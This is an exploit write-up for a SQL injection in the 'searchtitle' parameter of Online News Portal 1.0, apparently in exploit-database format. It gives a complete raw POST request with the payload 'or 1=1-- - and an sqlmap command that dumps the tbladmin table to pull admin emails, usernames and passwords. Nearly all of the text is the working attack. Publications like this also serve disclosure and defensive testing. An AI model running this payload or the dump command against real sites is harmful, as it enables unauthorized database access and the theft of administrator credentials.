Online News Portal 1.0 SQL Injection

`# Exploit Title: Online News Portal | 'searchtitle' SQL Injection  
# Exploit Author: Richard Jones  
# Date: 2021-03-15  
# Vendor Homepage: https://www.sourcecodester.com/php/14741/online-news-portal-using-phpmysqli-free-download-source-code.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=14741&title=Online+News+Portal+using+PHP%2FMySQLi+with+Source+Code+Free+Download  
# Version: 1.0  
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34  
  
#POST /newsportal/search.php HTTP/1.1  
#Host: TARGETIP  
#User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0  
#Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
#Accept-Language: en-GB,en;q=0.5  
#Accept-Encoding: gzip, deflate  
#Content-Type: application/x-www-form-urlencoded  
#Content-Length: 27  
#Origin: http://TARGETIP  
#Connection: close  
#Referer: http://TARGETIP/newsportal/search.php  
#Cookie: PHPSESSID=el2er006ddftfemargc4fnqkbj  
#Upgrade-Insecure-Requests: 1  
  
#searchtitle=%27or+1%3D1--+-  
  
#Sqlmap   
  
#sqlmap -r sql.txt --batch --dbs --dump -T tbladmin  
# admin email, password, username   
`